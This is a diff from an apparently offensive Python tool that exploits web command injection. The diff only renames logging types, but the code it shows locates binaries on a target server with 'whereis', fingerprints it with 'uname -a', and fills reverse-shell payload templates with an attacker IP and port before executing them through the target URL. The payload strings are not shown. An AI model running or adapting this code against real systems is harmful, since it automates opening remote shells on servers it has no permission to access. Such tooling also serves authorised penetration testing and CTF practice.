22
33import requests
44
5- from data import payloads
5+ from data import payloads , types
66from modules import logger
77
88
@@ -20,27 +20,27 @@ def find_bins(url: str, verbose: bool) -> list:
2020 bins = list (payloads .payloads .keys ())
2121 for bin in bins :
2222 result = execute (url , f"whereis { bin } " )
23- logger .log (result , logger . Types .VERBOSE , True , verbose )
23+ logger .log (result , types . Status .VERBOSE , True , verbose )
2424 for path in result .split (" " ):
2525 if "bin" in path and bin in path :
2626 valid .append ({bin : path })
27- logger .log (f"{ bin } found at { path } " , logger . Types .SUCCESS )
27+ logger .log (f"{ bin } found at { path } " , types . Status .SUCCESS )
2828 return valid
2929
3030
3131def reverse_connection (valid_bins : list , url : str , ip : str , port : int , verbose : bool ):
3232 logger .log (f"Bins to test: { len (valid_bins )} " )
3333 for bin in valid_bins :
34- logger .log (f"Attempting { list (bin .keys ())[0 ]} payloads for path { list (bin .values ())[0 ]} " , logger . Types .ALERT )
34+ logger .log (f"Attempting { list (bin .keys ())[0 ]} payloads for path { list (bin .values ())[0 ]} " , types . Status .ALERT )
3535 for payload in payloads .payloads [list (bin .keys ())[0 ]]:
3636 cmd = urllib .parse .quote (
3737 payload .replace ("PATHHERE" , list (bin .values ())[0 ]).replace ("IPHERE" , ip ).replace ("PORTHERE" , str (port ))
3838 )
3939 result = execute (url , cmd )
40- logger .log (result , logger . Types .VERBOSE , True , verbose )
40+ logger .log (result , types . Status .VERBOSE , True , verbose )
4141
4242
4343def verify (url : str , verbose : bool ) -> bool :
4444 data = execute (url , "uname -a" )
45- logger .log (data , logger . Types .VERBOSE , True , verbose )
45+ logger .log (data , types . Status .VERBOSE , True , verbose )
4646 return "linux" in data .lower ()
0 commit comments